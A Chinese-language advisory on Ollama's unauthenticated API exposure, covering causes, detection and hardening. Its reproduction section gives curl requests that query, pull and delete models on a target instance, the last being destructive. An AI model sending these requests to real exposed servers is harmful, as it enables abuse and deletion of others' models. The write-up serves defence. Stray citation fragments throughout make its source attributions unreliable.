Ollama 是一个开源的大语言模型(LLM)运行环境和工具集,旨在帮助开发者轻松部署、管理和使用模型(如 DeepSeek 等)。 Ollama 存在未授权访问漏洞,攻击者可以直接访问敏感接口进行读取、下载或删除私有模型文件,或滥用模型推理资源等高危操作。
根据 Ollama 官方文档与库页面,目前支持的模型类型众多,可通过 CLI 或 Modelfile 定制使用:
-
LLM 基础模型(tools & thinking)
-
DeepSeek‑R1:范围从 1.5 B 到 671 B,适合推理任务
-
Qwen3 / Qwen2.5 / Qwen2:多尺寸型号(如 0.6B–235B),支持高上下文(如 128k)github.com+14ollama.com+14ollama.com+14github.com+4reddit.com+4github.com+4
-
Llama 3 系列:包括 Llama 3.1(8B/70B/405B)、Llama 3.2(1B/3B)、Llama 3.3(70B)等ollama.com+5ollama.com+5ollama.com+5
-
Mistral 家族:如 Mistral 7B、Mistral‑nemo 12B、Mistral‑small、mixtral MoE(8×7B、8×22B)ollama-operator.ayaka.io+2ollama.com+2ollama.com+2
-
-
多模态与视觉模型(vision)
-
LLaVA / LLaVA‑Llama3:结合视觉编码器实现图像与文本推理
-
Qwen2.5‑VL、Llama4(16×17B/128×17B) 等reddit.com+8ollama.com+8ollama.com+8
-
-
嵌入与专用任务模型
-
nomic‑embed‑text、bge‑m3、snowflake, all‑minilm 等适用于嵌入计算任务
-
StarCoder2、DeepSeek‑coder‑v2 等针对代码生成任务byteplus.com+5ollama.com+5github.com+5
-
-
精简小型模型与混合专家模型
-
smollm2(135 M/360 M/1.7 B)轻量级
-
olmo2(7B/13B)等新兴开放模型ollama.com+3ollama.com+3ollama.com+3
-
hermes3、command‑r、phi 系列(如 phi4, phi4‑mini)等高效 reasoning 模型youtube.com+5ollama.com+5ollama.com+5
-
如何查看本地可用模型
-
使用
ollama list
命令,可列出当前本地已下载模型reddit.com+14medium.com+14github.com+14。 -
使用
ollama show <model>
查看模型详细信息与支持功能。 -
若需要查看 Ollama 官方库的可用模型,可访问 [ollama.com/library] 并结合
ollama pull
拉取指定模型(例如ollama pull llama3.2
)github.com+1ollama.readthedocs.io+1。
漏洞概览
-
漏洞来源:由 NSFOCUS 安全团队报告,识别为 CNVD‑2025‑04094nvd.nist.gov+9nsfocusglobal.com+9deepseek.youkuaiyun.com+9。
-
风险性质:Ollama 默认监听
127.0.0.1:11434
,未内置任何身份认证机制;用户若将其暴露至0.0.0.0
即整个公网,攻击者可未经授权调用敏感接口thenote.app+3nsfocusglobal.com+3medium.com+3,进而展开以下攻击:-
泄露私有模型和推理数据;
-
滥用计算资源,造成拒绝服务;
-
篡改配置,甚至结合其他漏洞实现进一步控制。
-
-
受影响范围:所有版本的 Ollama,只要打开公网端口且未部署认证机制,皆存在风险securityboulevard.com+9nsfocusglobal.com+9deepseek.youkuaiyun.com+9
检测方法
-
主动检测
-
使用命令:
sudo netstat -tulpn | grep 11434
-
若显示
127.0.0.1:11434
,仅监听本地,较安全; -
若显示
0.0.0.0:11434
或:::11434
,说明暴露公网,有风险thenote.app+3nsfocusglobal.com+3medium.com+3。
-
-
-
自动化工具扫描
-
NSFOCUS EZ、Goby 等安全工具支持识别 Ollama 未授权风险github.com+5nsfocusglobal.com+5nsfocusglobal.com+5。
-
漏洞成因分解
1. 默认监听无认证接口
Ollama 默认以 127.0.0.1:11434
监听本地接口提供服务,但:
-
它并没有内置任何身份验证机制(如 API Key、Token、Basic Auth 等);
-
所有 REST API 接口(如
/api/generate
、/api/pull
、/api/chat
等)完全信任任何来源的调用请求。
这意味着:只要网络连通,攻击者即可直接调用全部敏感接口。
2. 用户配置错误(监听地址改为 0.0.0.0)
Ollama 的启动支持环境变量配置监听地址:
export OLLAMA_HOST=0.0.0.0
很多用户为了远程访问、前端调用、API 调试等方便,将其暴露为 0.0.0.0
或公网 IP,但:
-
未设置认证;
-
未限制访问来源;
-
通常未设置反向代理或安全网关。
导致服务从“只限本地访问”变成了“暴露到整个公网”,完全敞开。
3. Ollama 没有认证机制支持
Ollama 目前版本存在结构性设计缺陷:
-
没有用户体系;
-
没有 Session、Cookie 或 Token 校验机制;
-
不支持 API Key、OAuth、JWT 等现代认证手段;
-
无法通过 Ollama 自身配置做到任何形式的访问控制。
这导致一旦端口暴露,服务即陷入“裸奔”状态。
4. 部署环境缺少最小化信任边界
在实际部署过程中,很多用户未设置:
-
防火墙(如 iptables、ufw)限制
11434
端口来源; -
云服务平台(如 AWS、阿里云)中的安全组规则;
-
反向代理访问控制(如 Nginx + Basic Auth);
-
监控与告警机制(如请求速率、API 频次告警);
这让攻击者可以使用自动化工具横扫整个互联网,找到暴露的 Ollama 实例进行操控。
漏洞复现
一、环境准备
1. 安装 Ollama(如 Ubuntu / macOS)
# macOS brew install ollama # Ubuntu / Debian curl -fsSL https://ollama.com/install.sh | sh
2. 启动服务并监听公网(复现核心点)
默认 Ollama 仅监听 127.0.0.1:11434
,为了复现漏洞,需要人为设置监听 0.0.0.0
(所有网卡):
export OLLAMA_HOST=0.0.0.0 ollama serve &
注意:此时本机的
11434
端口将向整个局域网甚至公网开放,处于“裸奔”状态。
3. 拉取模型供测试使用
ollama pull llama3
此步骤将下载一个基础模型(如 Meta 的 LLaMA3),后续攻击者即可直接调用该模型进行交互。
二、漏洞复现步骤
你现在可以模拟远程攻击者行为,例如从另一台主机访问:
1. 未授权调用 /api/generate
接口
curl -X POST http://<目标IP>:11434/api/generate \ -H "Content-Type: application/json" \ -d '{ "model": "llama3", "prompt": "请介绍下你自己。", "stream": false }'
预期结果:服务返回模型生成内容,说明接口被完全绕过,无需认证。
2. 未授权调用 /api/chat
接口
curl -X POST http://<目标IP>:11434/api/chat \ -H "Content-Type: application/json" \ -d '{ "model": "llama3", "messages": [{"role": "user", "content": "告诉我某个企业的信息。"}], "stream": false }'
模拟上下文对话,可用于提取敏感信息或构造 prompt injection。
3. 利用 /api/pull
拉取任意模型
curl -X POST http://<目标IP>:11434/api/pull \ -H "Content-Type: application/json" \ -d '{"name": "mistral"}'
若攻击者传入恶意构造的模型名(可伪造远程 URL、嵌入恶意行为),可触发代码侧信任链攻击(尚需配合模型验证绕过)。
4. 查看所有已加载模型
curl http://<目标IP>:11434/api/tags
获取当前目标 Ollama 实例中可用的模型标签,配合 /api/delete
可构成 DoS 攻击:
curl -X DELETE http://<目标IP>:11434/api/delete \ -H "Content-Type: application/json" \ -d '{"name": "llama3"}'
修复建议
一、【官方开发者层面】修复建议
这是最关键的根因解决层,建议 Ollama 后续版本做如下改进:
1. 引入认证机制
-
支持 API Key(通过环境变量或配置文件设置)
-
支持 HTTP Basic Auth、JWT、OAuth 等标准认证方式
-
添加权限角色(如只读 / 只写 / 管理员)
2. 默认强制绑定本地接口
-
默认强制绑定
127.0.0.1
,禁止监听0.0.0.0
,除非显式设置 -
若监听
0.0.0.0
,必须提示高风险警告
3. 接口访问日志与告警
-
对敏感接口如
/api/pull
、/api/delete
、/api/chat
开启请求日志 -
添加访问速率限制、异常访问告警功能
4. 配置文件安全预设模板
-
提供
secure.conf
配置模板,引导用户配置身份验证和监听地址
二、【运维部署者层面】修复建议
如果你是安全运维、DevOps、平台工程师,建议立即采取以下加固措施:
1. 禁止监听公网地址
-
推荐配置方式:
export OLLAMA_HOST=127.0.0.1
-
或在
systemd
服务文件中设置:Environment="OLLAMA_HOST=127.0.0.1"
2. 使用反向代理加认证
通过 Nginx / Caddy 等反向代理添加认证层:
Nginx 示例:
server { listen 80; server_name your-domain.com; location / { proxy_pass http://localhost:11434; auth_basic "Restricted"; auth_basic_user_file /etc/nginx/.htpasswd; } }
(.htpasswd
可使用 htpasswd
工具生成)
3. 部署防火墙/安全组规则
-
本地防火墙(如 iptables / ufw)
sudo ufw allow from 192.168.1.0/24 to any port 11434 sudo ufw deny 11434/tcp
-
云服务安全组(如 AWS、阿里云)
-
限制端口 11434 仅允许公司内网或白名单 IP 访问
-
禁止
0.0.0.0/0
的全公网访问
-
4. 对敏感接口设置访问频率限制
使用 Nginx 的 limit_req_zone
模块:
limit_req_zone $binary_remote_addr zone=api_limit:10m rate=1r/s; location /api/ { limit_req zone=api_limit burst=5; proxy_pass http://localhost:11434; }